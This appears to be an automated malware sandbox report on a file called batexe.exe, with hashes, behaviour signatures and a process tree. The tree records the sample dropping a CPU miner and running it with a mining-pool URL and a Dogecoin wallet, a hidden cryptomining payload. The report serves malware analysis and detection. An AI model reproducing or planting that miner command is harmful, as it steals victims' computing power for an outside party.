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Analysis
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max time kernel
292s -
max time network
303s -
platform
windows10-1703_x64 -
resource
win10-20240214-ja -
resource tags
arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows -
submitted
20/02/2024, 12:28
Behavioral task
behavioral1
Sample
batexe.exe
Resource
win10-20240214-ja
Behavioral task
behavioral2
Sample
batexe.exe
Resource
win10v2004-20240220-ja
General
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Target
batexe.exe
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Size
9.4MB
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MD5
cdc9eacffc6d2bf43153815043064427
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SHA1
d05101f265f6ea87e18793ab0071f5c99edf363f
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SHA256
73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
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SHA512
fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
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SSDEEP
196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv
Malware Config
Signatures
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Executes dropped EXE 2 IoCs
pid Process 192 b2e.exe 3264 cpuminer-sse2.exe -
Loads dropped DLL 5 IoCs
pid Process 3264 cpuminer-sse2.exe 3264 cpuminer-sse2.exe 3264 cpuminer-sse2.exe 3264 cpuminer-sse2.exe 3264 cpuminer-sse2.exe -
resource yara_rule behavioral1/memory/4488-5-0x0000000000400000-0x000000000393A000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 4488 wrote to memory of 192 4488 batexe.exe 73 PID 4488 wrote to memory of 192 4488 batexe.exe 73 PID 4488 wrote to memory of 192 4488 batexe.exe 73 PID 192 wrote to memory of 4576 192 b2e.exe 74 PID 192 wrote to memory of 4576 192 b2e.exe 74 PID 192 wrote to memory of 4576 192 b2e.exe 74 PID 4576 wrote to memory of 3264 4576 cmd.exe 77 PID 4576 wrote to memory of 3264 4576 cmd.exe 77
Processes
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C:\Users\Admin\AppData\Local\Temp\batexe.exe"C:\Users\Admin\AppData\Local\Temp\batexe.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:4488 -
C:\Users\Admin\AppData\Local\Temp\C0FE.tmp\b2e.exe"C:\Users\Admin\AppData\Local\Temp\C0FE.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\C0FE.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:192 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\C62E.tmp\batchfile.bat" "3⤵
- Suspicious use of WriteProcessMemory
PID:4576 -
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.execpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 34⤵
- Executes dropped EXE
- Loads dropped DLL
PID:3264
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
640KB
MD5ec807089447cc8ffed3ed14af8e0dd7f
SHA10d5600b96cd4d605dd40d169bade90cc2e41d4e0
SHA25697789e181648b41de38dee9a0b40452bac36d463329a87bd2ad517a2968c51f1
SHA512a2f87f33cd02f225b4c43f4dbd93e18e15e49dc5cdc1ef05f99bb54cdf2b759932d84e29863c11eb1941fb82d559682ea1be25ab7c826670389fb659d6afdac9
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Filesize
320KB
MD588364d3a1722b83013616c5ae51fd6d7
SHA1d6727613607431104a14f30001a7e1af8e2bf026
SHA25670ea586c99e68feae0fd4579a9d93d4e0fd46b623f35b3cdbcf4fca2f6e3e6d4
SHA512ba46a975471bad7f3aa1f333317fb152eab233934af7d648454cfbf2bd852d7745906fc407c5a4a6c60d78368486587f21aeaf9f12dbdf684de818c8e06a9e43
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Filesize
136B
MD58ea7ac72a10251ecfb42ef4a88bd330a
SHA1c30f6af73a42c0cc89bd20fe95f9159d6f0756c5
SHA25665e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9
SHA512a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0
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Filesize
2.3MB
MD54c04147c386ba8792ac6a03069572a8a
SHA1dda67789fc1d0f2469ca95f01a5c81034853ca6a
SHA256c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd
SHA512a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db
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Filesize
4.2MB
MD5aff0055164dab7d37064632c3c6cc649
SHA19bb5c7ddb0e101684cff40a63e0416a2b3565200
SHA25693fa7b9b3862b92612530e3dddf0d898ccc9cb4881852653f14f739dcef7fec1
SHA512e5c6b9d751da5e1e72935be4feaac2efa45d79f3f5379768d1d9d541b8cbd297a2c2458dcf0a8123ea90b9c6e18c3dbbf64766bc4da8d1e09f952cdbab141ec5
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Filesize
836KB
MD5aeab40ed9a8e627ea7cefc1f5cf9bf7a
SHA15e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8
SHA256218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9
SHA512c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8
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Filesize
1.2MB
MD57cf672bee2afba2dcd0c031ff985958e
SHA16b82a205db080ffdcb4a4470fce85a14413f3217
SHA256c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05
SHA5123e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5
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Filesize
5.5MB
MD5571c1320339275439449b79a8db289fd
SHA13d0b4864f6d4d33eaf00440bb80c09645c9840fb
SHA25661c498824eb4a5c37450137abfa6799de6b00be572e2d051026d42f10e628f56
SHA512276c8dbd30c414fe363a2087d2a968be88b74cfc0574d90366cba41fd48649f6222a41590311ab206c6b1f5efda95e75f5a55fda084862555f5162115a4bcc60
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Filesize
4.8MB
MD5861814b5d5273c0f6a714a620844935d
SHA1490536b56a983e2dfaf45eed5ebace6724a465b8
SHA2560861cf5f0df752002d30be2f37b1dce7c628e2f1ce18de03bbd372a80edab3d3
SHA512f83552309eb679749e2a19e46ce236f178172f7c6d964155b7e8bf848176809e609922651ead288aad8bed579ae64518c25ec503a29178cbd9dee2a33bf5154e
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Filesize
606KB
MD5585efec1bc1d4d916a4402c9875dff75
SHA1d209613666ccac9d0ddab29a3bc59aa00a0968fa
SHA2562f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232
SHA512b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770